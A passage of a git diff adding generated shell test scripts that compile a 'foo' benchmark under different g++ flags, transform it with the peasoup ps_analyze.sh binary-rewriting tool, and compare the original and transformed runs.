+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..046933917e251adadcb61d83a75008483fd2b51a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a398ca4e22c1cefeef122b08dbd7a6a4779866ca
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..9697d7b040d19d0bb21f4f03972f3b0b2d4b78c9
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..76c82709f3737d7adb571b05583b187270d1a103
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e7b91cce26f47f170b2108e5b507c5c783a70b0b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e6b46f4e0eab4ee9c527fdc3abb13088961eee3e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
